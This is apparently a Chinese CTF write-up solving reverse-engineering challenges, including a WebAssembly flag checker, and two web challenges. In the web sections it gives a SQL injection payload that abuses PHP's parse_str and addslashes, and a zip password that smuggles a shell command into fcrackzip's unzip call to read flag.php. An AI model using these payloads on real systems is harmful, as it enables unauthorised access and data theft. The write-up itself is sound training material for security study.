由此可以计算出第四段的 base32 除去等号的 hex 为 0x4f4d5941,转为 base32 为 OMYA====,解码为 s0,推测hctf{xx_xxxx_iz_s0_xxxx}

在 challenge4 处需要的条件是

  1. 第二段中必须包含一个’3’
  2. 第二段以’3’分割,前后的长度相等
  3. 前后 hex 异或得到的结果是 0x1613,

由此得出第二段中间为 3,推测hctf{xx_xx3xx_iz_s0_xxxx}

在 challenge5 处需要的条件是

  1. 第二段分割以后的第一段,即’3’之前的每一个字符 * 第二段的长度,再加起来 == 0x2f9b5072

假设第二段长度为 5,则 0x2f9b5072/5 除不尽,那么第二段长度为 7,得出第二段第一部分的和为 114108118,转为字符串为 rev

再根据 challenge4.3 得出第二段后面的字符串 hex 为 0x726576 ^ 0x1613=0x727365,转为字符串为 rse,推测hctf{xx_rev3rse_iz_s0_xxxx}

在 challenge6 处需要的条件是

  1. 第五段的前四个字符 hex - 0x48a05362 == (0x4315332 * 0x4b7c0a73 * 第一段的长度) % 0x2f9b5072
  2. 第五段第六个字符 + 第五段第六个字符 != 第五段除去’}’外最后五个字符,即 xxxx}中的 xxxx
  3. 第五段的倒数第二个字符 - 第五段第五个字符 == 1

根据 challenge1 的结论以及 challenge6.1 可以算出第五段前四个字符的 hex 为 0x68347246,转为字符串为 h4rd,推测hctf{xx_rev3rse_iz_s0_h4rdxxxx}

在 challenge7 处需要的条件是

  1. 第五段第七和第八个字符的 hex 数字 == 第五段第七个字符 * 第五段的长度 * 5
  2. 第五段第五个字符 == ‘2’
  3. 第五段第七第八个字符 == 第五段第八个字符 + 第五段第吧个字符,即第五段第七和第八个字符相同

根据 challenge7.2 可知,推测hctf{xx_rev3rse_iz_s0_h4rd2xxxxxxx}

根据 challenge6.3 可知,推测hctf{xx_rev3rse_iz_s0_h4rd2xxxxxx3}

根据附加条件 1:flag.substr(-5,3)=="333",推测hctf{xx_rev3rse_iz_s0_h4rd2xxx3333}

根据附加条件 2:flag.substr(-8,1)=="3"可知第五段长度为 8+5=13,并且第六个字符为’3’,推测hctf{xx_rev3rse_iz_s0_h4rd23xx3333}

根据 challenge7.1 可以计算出第五段第七第八个字符的 hex 为 0x6565,转为字符串为 ee,推测hctf{xx_rev3rse_iz_s0_h4rd23ee3333}

根据 challenge1 以及附加条件 4:sha256(flag) == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"

最终爆破出第一段最后两个字符为 j5,得到 flag 为:hctf{j5_rev3rse_iz_s0_h4rd23ee3333}

Baby Reverse(200)

打开网页源码在 JavaScript 里对输入的字符串进行了处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var btnCheck = document.getElementById('btnCheck');
var tbxFlag = document.getElementById('flag');
var txtStatus = document.getElementById('status');

// var _debug_asm;
// var _debug_mem;

function set_c_string(buf, index, s){
for(var i = 0; i < s.length; i++){
buf[index + i] = s.charCodeAt(i);
}
buf[index + i] = 0;
}

fetch('flag.wasm')
.then(response => response.arrayBuffer())
.then(WebAssembly.instantiate)
.then(mod => mod.instance)
.then(function(asm){

var mem = new Uint8Array(asm.exports.memory.buffer);
// _debug_mem = mem;
// _debug_asm = asm;

btnCheck.addEventListener('click', function(){
var flag = tbxFlag.value;
// console.log(flag);
var buf_addr = asm.exports.get_buf();
set_c_string(mem, buf_addr, flag);
if(asm.exports.check_flag(buf_addr)){
txtStatus.innerText = (new Date()).toLocaleString() + ' * - * - * Correct flag! * - * - *';
} else {
txtStatus.innerText = (new Date()).toLocaleString() + ' Wrong flag';
}
});
console.log('ready');
});

可以看到最后交给了 flag.wasm 处理,wasm 是 WebASsembly 的二进制格式文件,下载 flag.wasm 使用 wabt 进行逆向。首先将二进制格式的 flag.wasm 转换为文本格式 wat,懒得下载的可以使用 在线工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
(module
(type $t0 (func (result i32)))
(type $t1 (func (param i32) (result i32)))
(func $get_buf (export "get_buf") (type $t0) (result i32)
(i32.const 80))
(func $check_flag (export "check_flag") (type $t1) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(local.set $l1
(i32.const 0))
(local.set $l2
(i32.const 0))
(loop $L0
(local.set $l1
(i32.or
(i32.xor
(i32.shr_s
(i32.shl
(i32.xor
(i32.load8_u
(i32.add
(local.get $p0)
(local.get $l2)))
(i32.load8_u
(i32.add
(local.get $l2)
(i32.const 16))))
(i32.const 24))
(i32.const 24))
(i32.const 66))
(local.get $l1)))
(br_if $L0
(i32.ne
(local.tee $l2
(i32.add
(local.get $l2)
(i32.const 1)))
(i32.const 23))))
(i32.eqz
(local.get $l1)))
(table $T0 0 funcref)
(memory $memory (export "memory") 1)
(data $d0 (i32.const 16) "$.#%9\0a'..-\15' \0311'/ .;?B")
(data $d1 (i32.const 48) "flag{ThisFlagIsFake}\00"))

直接看反汇编代码还是有点复杂,可以进一步将其反编译为 C 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// flag.h
#ifndef __FLAG_H_GENERATED_
#define __FLAG_H_GENERATED_
/* Automically generated by wasm2c */
#ifdef __cplusplus
extern "C" {
#endif

#include <stdint.h>

#include "wasm-rt.h"

#ifndef WASM_RT_MODULE_PREFIX
#define WASM_RT_MODULE_PREFIX
#endif

#define WASM_RT_PASTE_(x, y) x ## y
#define WASM_RT_PASTE(x, y) WASM_RT_PASTE_(x, y)
#define WASM_RT_ADD_PREFIX(x) WASM_RT_PASTE(WASM_RT_MODULE_PREFIX, x)

/* TODO(binji): only use stdint.h types in header */
typedef uint8_t u8;
typedef int8_t s8;
typedef uint16_t u16;
typedef int16_t s16;
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
typedef float f32;
typedef double f64;

extern void WASM_RT_ADD_PREFIX(init)(void);

/* export: 'memory' */
extern wasm_rt_memory_t (*WASM_RT_ADD_PREFIX(Z_memory));
/* export: 'get_buf' */
extern u32 (*WASM_RT_ADD_PREFIX(Z_get_bufZ_iv))(void);
/* export: 'check_flag' */
extern u32 (*WASM_RT_ADD_PREFIX(Z_check_flagZ_ii))(u32);
#ifdef __cplusplus
}
#endif

#endif /* __FLAG_H_GENERATED_ */

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
// flag.c
/* Automically generated by wasm2c */
#include <math.h>
#include <string.h>

#include "./flag.h"
#define UNLIKELY(x) __builtin_expect(!!(x), 0)
#define LIKELY(x) __builtin_expect(!!(x), 1)

#define TRAP(x) (wasm_rt_trap(WASM_RT_TRAP_##x), 0)

#define FUNC_PROLOGUE \
if (++wasm_rt_call_stack_depth > WASM_RT_MAX_CALL_STACK_DEPTH) \
TRAP(EXHAUSTION)

#define FUNC_EPILOGUE --wasm_rt_call_stack_depth

#define UNREACHABLE TRAP(UNREACHABLE)

#define CALL_INDIRECT(table, t, ft, x, ...) \
(LIKELY((x) < table.size && table.data[x].func && \
table.data[x].func_type == func_types[ft]) \
? ((t)table.data[x].func)(__VA_ARGS__) \
: TRAP(CALL_INDIRECT))

#if WASM_RT_MEMCHECK_SIGNAL_HANDLER
#define MEMCHECK(mem, a, t)
#else
#define MEMCHECK(mem, a, t) \
if (UNLIKELY((a) + sizeof(t) > mem->size)) TRAP(OOB)
#endif

#define DEFINE_LOAD(name, t1, t2, t3) \
static inline t3 name(wasm_rt_memory_t* mem, u64 addr) { \
MEMCHECK(mem, addr, t1); \
t1 result; \
__builtin_memcpy(&result, &mem->data[addr], sizeof(t1)); \
return (t3)(t2)result; \
}

#define DEFINE_STORE(name, t1, t2) \
static inline void name(wasm_rt_memory_t* mem, u64 addr, t2 value) { \
MEMCHECK(mem, addr, t1); \
t1 wrapped = (t1)value; \
__builtin_memcpy(&mem->data[addr], &wrapped, sizeof(t1)); \
}

DEFINE_LOAD(i32_load, u32, u32, u32);
DEFINE_LOAD(i64_load, u64, u64, u64);
DEFINE_LOAD(f32_load, f32, f32, f32);
DEFINE_LOAD(f64_load, f64, f64, f64);
DEFINE_LOAD(i32_load8_s, s8, s32, u32);
DEFINE_LOAD(i64_load8_s, s8, s64, u64);
DEFINE_LOAD(i32_load8_u, u8, u32, u32);
DEFINE_LOAD(i64_load8_u, u8, u64, u64);
DEFINE_LOAD(i32_load16_s, s16, s32, u32);
DEFINE_LOAD(i64_load16_s, s16, s64, u64);
DEFINE_LOAD(i32_load16_u, u16, u32, u32);
DEFINE_LOAD(i64_load16_u, u16, u64, u64);
DEFINE_LOAD(i64_load32_s, s32, s64, u64);
DEFINE_LOAD(i64_load32_u, u32, u64, u64);
DEFINE_STORE(i32_store, u32, u32);
DEFINE_STORE(i64_store, u64, u64);
DEFINE_STORE(f32_store, f32, f32);
DEFINE_STORE(f64_store, f64, f64);
DEFINE_STORE(i32_store8, u8, u32);
DEFINE_STORE(i32_store16, u16, u32);
DEFINE_STORE(i64_store8, u8, u64);
DEFINE_STORE(i64_store16, u16, u64);
DEFINE_STORE(i64_store32, u32, u64);

#define I32_CLZ(x) ((x) ? __builtin_clz(x) : 32)
#define I64_CLZ(x) ((x) ? __builtin_clzll(x) : 64)
#define I32_CTZ(x) ((x) ? __builtin_ctz(x) : 32)
#define I64_CTZ(x) ((x) ? __builtin_ctzll(x) : 64)
#define I32_POPCNT(x) (__builtin_popcount(x))
#define I64_POPCNT(x) (__builtin_popcountll(x))

#define DIV_S(ut, min, x, y) \
((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) \
: (UNLIKELY((x) == min && (y) == -1)) ? TRAP(INT_OVERFLOW) \
: (ut)((x) / (y)))

#define REM_S(ut, min, x, y) \
((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) \
: (UNLIKELY((x) == min && (y) == -1)) ? 0 \
: (ut)((x) % (y)))

#define I32_DIV_S(x, y) DIV_S(u32, INT32_MIN, (s32)x, (s32)y)
#define I64_DIV_S(x, y) DIV_S(u64, INT64_MIN, (s64)x, (s64)y)
#define I32_REM_S(x, y) REM_S(u32, INT32_MIN, (s32)x, (s32)y)
#define I64_REM_S(x, y) REM_S(u64, INT64_MIN, (s64)x, (s64)y)

#define DIVREM_U(op, x, y) \
((UNLIKELY((y) == 0)) ? TRAP(DIV_BY_ZERO) : ((x) op (y)))

#define DIV_U(x, y) DIVREM_U(/, x, y)
#define REM_U(x, y) DIVREM_U(%, x, y)

#define ROTL(x, y, mask) \
(((x) << ((y) & (mask))) | ((x) >> (((mask) - (y) + 1) & (mask))))
#define ROTR(x, y, mask) \
(((x) >> ((y) & (mask))) | ((x) << (((mask) - (y) + 1) & (mask))))

#define I32_ROTL(x, y) ROTL(x, y, 31)
#define I64_ROTL(x, y) ROTL(x, y, 63)
#define I32_ROTR(x, y) ROTR(x, y, 31)
#define I64_ROTR(x, y) ROTR(x, y, 63)

#define FMIN(x, y) \
((UNLIKELY((x) != (x))) ? NAN \
: (UNLIKELY((y) != (y))) ? NAN \
: (UNLIKELY((x) == 0 && (y) == 0)) ? (signbit(x) ? x : y) \
: (x < y) ? x : y)

#define FMAX(x, y) \
((UNLIKELY((x) != (x))) ? NAN \
: (UNLIKELY((y) != (y))) ? NAN \
: (UNLIKELY((x) == 0 && (y) == 0)) ? (signbit(x) ? y : x) \
: (x > y) ? x : y)

#define TRUNC_S(ut, st, ft, min, minop, max, x) \
((UNLIKELY((x) != (x))) ? TRAP(INVALID_CONVERSION) \
: (UNLIKELY(!((x)minop(min) && (x) < (max)))) ? TRAP(INT_OVERFLOW) \
: (ut)(st)(x))

#define I32_TRUNC_S_F32(x) TRUNC_S(u32, s32, f32, (f32)INT32_MIN, >=, 2147483648.f, x)
#define I64_TRUNC_S_F32(x) TRUNC_S(u64, s64, f32, (f32)INT64_MIN, >=, (f32)INT64_MAX, x)
#define I32_TRUNC_S_F64(x) TRUNC_S(u32, s32, f64, -2147483649., >, 2147483648., x)
#define I64_TRUNC_S_F64(x) TRUNC_S(u64, s64, f64, (f64)INT64_MIN, >=, (f64)INT64_MAX, x)

#define TRUNC_U(ut, ft, max, x) \
((UNLIKELY((x) != (x))) ? TRAP(INVALID_CONVERSION) \
: (UNLIKELY(!((x) > (ft)-1 && (x) < (max)))) ? TRAP(INT_OVERFLOW) \
: (ut)(x))

#define I32_TRUNC_U_F32(x) TRUNC_U(u32, f32, 4294967296.f, x)
#define I64_TRUNC_U_F32(x) TRUNC_U(u64, f32, (f32)UINT64_MAX, x)
#define I32_TRUNC_U_F64(x) TRUNC_U(u32, f64, 4294967296., x)
#define I64_TRUNC_U_F64(x) TRUNC_U(u64, f64, (f64)UINT64_MAX, x)

#define DEFINE_REINTERPRET(name, t1, t2) \
static inline t2 name(t1 x) { \
t2 result; \
memcpy(&result, &x, sizeof(result)); \
return result; \
}

DEFINE_REINTERPRET(f32_reinterpret_i32, u32, f32)
DEFINE_REINTERPRET(i32_reinterpret_f32, f32, u32)
DEFINE_REINTERPRET(f64_reinterpret_i64, u64, f64)
DEFINE_REINTERPRET(i64_reinterpret_f64, f64, u64)


static u32 func_types[2];

static void init_func_types(void) {
func_types[0] = wasm_rt_register_func_type(0, 1, WASM_RT_I32);
func_types[1] = wasm_rt_register_func_type(1, 1, WASM_RT_I32, WASM_RT_I32);
}

static u32 w2c_get_buf(void);
static u32 w2c_check_flag(u32);

static void init_globals(void) {
}

static wasm_rt_memory_t w2c_memory;

static wasm_rt_table_t w2c_T0;

static u32 w2c_get_buf(void) {
FUNC_PROLOGUE;
u32 w2c_i0;
w2c_i0 = 80u;
FUNC_EPILOGUE;
return w2c_i0;
}

static u32 w2c_check_flag(u32 w2c_p0) {
u32 w2c_l1 = 0, w2c_l2 = 0;
FUNC_PROLOGUE;
u32 w2c_i0, w2c_i1, w2c_i2;
w2c_i0 = 0u;
w2c_l1 = w2c_i0;
w2c_i0 = 0u;
w2c_l2 = w2c_i0;
w2c_L0:
w2c_i0 = w2c_p0;
w2c_i1 = w2c_l2;
w2c_i0 += w2c_i1;
w2c_i0 = i32_load8_u((&w2c_memory), (u64)(w2c_i0));
w2c_i1 = w2c_l2;
w2c_i2 = 16u;
w2c_i1 += w2c_i2;
w2c_i1 = i32_load8_u((&w2c_memory), (u64)(w2c_i1));
w2c_i0 ^= w2c_i1;
w2c_i1 = 24u;
w2c_i0 <<= (w2c_i1 & 31);
w2c_i1 = 24u;
w2c_i0 = (u32)((s32)w2c_i0 >> (w2c_i1 & 31));
w2c_i1 = 66u;
w2c_i0 ^= w2c_i1;
w2c_i1 = w2c_l1;
w2c_i0 |= w2c_i1;
w2c_l1 = w2c_i0;
w2c_i0 = w2c_l2;
w2c_i1 = 1u;
w2c_i0 += w2c_i1;
w2c_l2 = w2c_i0;
w2c_i1 = 23u;
w2c_i0 = w2c_i0 != w2c_i1;
if (w2c_i0) {goto w2c_L0;}
w2c_i0 = w2c_l1;
w2c_i0 = !(w2c_i0);
FUNC_EPILOGUE;
return w2c_i0;
}

static const u8 data_segment_data_0[] = {
0x24, 0x2e, 0x23, 0x25, 0x39, 0x0a, 0x27, 0x2e, 0x2e, 0x2d, 0x15, 0x27,
0x20, 0x03, 0x31, 0x31, 0x27, 0x2f, 0x20, 0x2e, 0x3b, 0x3f, 0x42,
};

static const u8 data_segment_data_1[] = {
0x66, 0x6c, 0x61, 0x67, 0x7b, 0x54, 0x68, 0x69, 0x73, 0x46, 0x6c, 0x61,
0x67, 0x49, 0x73, 0x46, 0x61, 0x6b, 0x65, 0x7d, 0x00,
};

static void init_memory(void) {
wasm_rt_allocate_memory((&w2c_memory), 1, 65536);
memcpy(&(w2c_memory.data[16u]), data_segment_data_0, 23);
memcpy(&(w2c_memory.data[48u]), data_segment_data_1, 21);
}

static void init_table(void) {
uint32_t offset;
wasm_rt_allocate_table((&w2c_T0), 0, 4294967295);
}

/* export: 'memory' */
wasm_rt_memory_t (*WASM_RT_ADD_PREFIX(Z_memory));
/* export: 'get_buf' */
u32 (*WASM_RT_ADD_PREFIX(Z_get_bufZ_iv))(void);
/* export: 'check_flag' */
u32 (*WASM_RT_ADD_PREFIX(Z_check_flagZ_ii))(u32);

static void init_exports(void) {
/* export: 'memory' */
WASM_RT_ADD_PREFIX(Z_memory) = (&w2c_memory);
/* export: 'get_buf' */
WASM_RT_ADD_PREFIX(Z_get_bufZ_iv) = (&w2c_get_buf);
/* export: 'check_flag' */
WASM_RT_ADD_PREFIX(Z_check_flagZ_ii) = (&w2c_check_flag);
}

void WASM_RT_ADD_PREFIX(init)(void) {
init_func_types();
init_globals();
init_memory();
init_table();
init_exports();
}

反编译出来的 C 源码还是很复杂,可以将其再次编译成可执行文件,用 IDA 打开反编译进行静态分析。再次编译需要使用“wasm-rt.h,wasm-rt-impl.c,wasm-rt-impl.h”这三个文件,可以在 wasm2c 的位置下找到。由于在前端源码里主要调用了 check_flag 函数去检查 flag,所以直接看 check_flag 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BOOL8 __fastcall w2c_check_flag(int buf_addr)
{
char f; // ST24_1
int result; // [rsp+1Ch] [rbp-14h]
int i; // [rsp+20h] [rbp-10h]

if (++wasm_rt_call_stack_depth > 0x1F4u )
wasm_rt_trap(7LL);
result = 0;
i = 0;
do
{
f = i32_load8_u(&w2c_memory, i + buf_addr); // 取出 flag 里第 i 个字符
result |= (i32_load8_u(&w2c_memory, i++ + 16) ^ f) ^ 0x42;
}
while (i != 23 );
--wasm_rt_call_stack_depth;
return result == 0;
}

这里的 buf_addr 是在前端中调用了 get_buf 函数获取的,该函数直接返回了 80

1
2
3
4
5
6
7
signed __int64 w2c_get_buf()
{
if (++wasm_rt_call_stack_depth > 0x1F4u )
wasm_rt_trap(7LL);
--wasm_rt_call_stack_depth;
return 80LL;
}

最后需要 result 为 0,根据同或的性质,result 在循环中每次迭代时都需要为 0,最后的结果才能使 0,所以表达式 (i32_load8_u(&w2c_memory, i++ + 16) ^ f) ^ 0x42; 将恒为 0。根据异或的性质,则表达式 i32_load8_u(&w2c_memory, i++ + 16) ^ f 将恒为 0x42。根据异或的交换律f = i32_load8_u(&w2c_memory, i + 16) ^ 0x42

flag 位于从 w2c_memory 第 16 位开始,长度为 23,这里的 w2c_memory 在 init_memory 函数中初始化,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 init_memory()
{
__int64 v0; // rcx
__int64 v1; // rcx
__int64 result; // rax

wasm_rt_allocate_memory(&w2c_memory, 1LL, 0x10000LL);
v0 = w2c_memory + 16;
*v0 = data_segment_data_0;
*(v0 + 8) = 0x3131032027152D2ELL;
*(v0 + 16) = 0x2E202F27;
*(v0 + 20) = 0x3F3B;
*(v0 + 22) = 0x42;
v1 = w2c_memory + 48;
*v1 = data_segment_data_1;
*(v1 + 8) = 0x46734967616C4673LL;
*(v1 + 16) = 0x7D656B61;
result = 0LL;
*(v1 + 20) = 0;
return result;
}

w2c_memory 第 16 为开始被赋值为 data_segment_data_0,data_segment_data_0 的定义为

1
2
3
4
static const u8 data_segment_data_0[] = {
0x24, 0x2e, 0x23, 0x25, 0x39, 0x0a, 0x27, 0x2e, 0x2e, 0x2d, 0x15, 0x27,
0x20, 0x03, 0x31, 0x31, 0x27, 0x2f, 0x20, 0x2e, 0x3b, 0x3f, 0x42,
};

但是从 data_segment_data_0 的第 8 位开始又被赋予了新值,纠正后的结果为[0x24, 0x2e, 0x23, 0x25, 0x39, 0x0a, 0x27, 0x2e, 0x2e, 0x2d, 0x15, 0x27, 0x20, 0x03, 0x31, 0x31, 0x27, 0x2f, 0x20, 0x2e, 0x3b, 0x3f, 0x42]

最后得到 flagflag{HelloWebAssembly}

Confused question(225)

直接看前端源码给了两个 hint

1
2
<!--register.php?username=xxx will reg a new user for you with password '123'-->
<!--login.php.txt-->

先看 login.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
require('./db.php');
require('./flag.php');
function addslashesForEvery($array){
if(!is_array($array)){return addslashes($array);}
foreach($array as $key => $val){
$array[$key] = addslashes($val);
}
return $array;
}
$loginStr = $_GET['loginstr'];
if(!isset($_SESSION['admin'])){$loginStr = str_ireplace('admin','guest',$loginStr);}
parse_str($loginStr,$loginStr);
foreach($loginStr as $n => $v){
$v = addslashesForEvery($v);
if($n === 'admin'){
$username = $v['username'];
$password = addslashesForEvery($_POST['password']);
$sql = "select * from admin where username = '$username' and password = '$password'";
$result = $DB->query($sql);
if($result){$_SESSION['adminlogin'] = 1; echo $flag;}
break;
}
if($n === 'guest'){
echo "Hello Guest!But you cannot log in!";
break;
}
echo "null";
break;
}

?>

为了拿到 flag 需要 n==admin,并且 sql 查询需要成功。首先 str_ireplace 将 loginStr 中的所有的 admin 都替换为 guest,这里可以用 GET 数组绕过,例如?loginstr[admin]=123,parse_str 无法处理数组,那么 $logStr 就为['admin'=>'123'],满足 n==admin。过了第一个条件以后就需要先办法让 sql 查询成功,由于没给注册,所以只能考虑 sql 注入。

使用 GET 数组虽然绕过了 n==admin 这个条件,但是 v 就不是一个数组了,只是一个字符串,这时如果把一个字符串当成数组取值的话 php 会将该字符串的第一个字符当作值取出,如果 ?loginstr[admin]=' 的话,addslashesForEvery 将 v 过滤以后就变成了\',这时取出的第一个字符为反斜杠,带入 sql 语句就变成了select * from admin where username = '\' and password = '$password',这里的反斜杠将 username 后的单引号转义,因此 username 就变成了\' and password =,password 就逃脱了单引号的限制,可以从 password 进行 sql 注入,最后的 payload 为:GET?loginstr[admin]=',POSTpassword=+ or 1#,带入 sql 语句为
select * from admin where username = '\' and password = ' or 1#'

最后拿到 flag:flag{pHP_H4s_s0_m4Ny_f3a7ur3s}

ZipCracker(225)

题目说有源码泄露,先扫一下发现.index.php.swp 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<title>ZipCracker - Crack Your Zip Online</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.css">
<link rel="stylesheet" href="/zipcracker.css">
</head>

<body>
<div class="main">
<div class="top-bar">
<div class="top-bar-title">ZipCracker</div>
</div>
<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
// Do you remember 430387 ?
$zip = $_FILES['zip']['tmp_name'];
$dict = $_FILES['dict']['tmp_name'];

$option = "-D -p $dict";
if(isset($_POST['unzip'])) {
$option = "-u ".$option;
}

$cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
$res = shell_exec($cmd);
}
else {
$res = 'file is too large.';
}
}
else {
$res = 'file is missing';
}
?>
<div class="container-wrapper">
<div class="container">
<h1 class="container-head">
Crack Your ZIP Online
</h1>
<p class="container-subhead">
Only dictionary-based crack is available.<br>
Both zip and dictionary file must not exceed 1MB.
</p>
<form action="" method="POST" enctype="multipart/form-data">
<label for="zip" class="button">ZIP file</label>
<input id="zip" type="file" name="zip" class="show-for-sr">

<label for="dict" class="button">Dictionary file</label>
<input id="dict" type="file" name="dict" class="show-for-sr">

<input id="unzip" type="checkbox" name="unzip">
<label for="unzip">use unzip</label>

<button type="submit" class="success button">Crack</button>
</form>
<p><?=$res?></p>
</div>
</div>
</div>
</body>
</html>

最直观的有一个shell_exec($cmd);,但是这里 cmd 命令里面的所有可控输入都是文件的 tmp_name,所以无法直接命令注入,但是这里使用了 fcrackzip 破解 zip 密码,而 fcrackzip 存在命令注入漏洞,当 fcrackzip 开启 unzip 选项时并且找到密码时,fcrackzip 会直接使用该密码解压破解的 zip 文件,而 fcrackzip 正是直接使用了 shell 的 unzip 命令,将 password 带入命令行中没有做任何过滤,因此这里存在一个命令注入漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int REGPARAM check_unzip (const char *pw)
{
char buff[1024];
int status;

sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]);
status = system (buff);

#undef REDIR

if (status == EXIT_SUCCESS)
{
printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw);
exit (EXIT_SUCCESS);
}

return !status;
}

所以可以给 zip 文件设置密码 aaa";cat "flag.php 来执行命令拿到 flag,提交的时候记得选择 use unzip。得到 flag 为:flag{bug_430387_cmd_injection}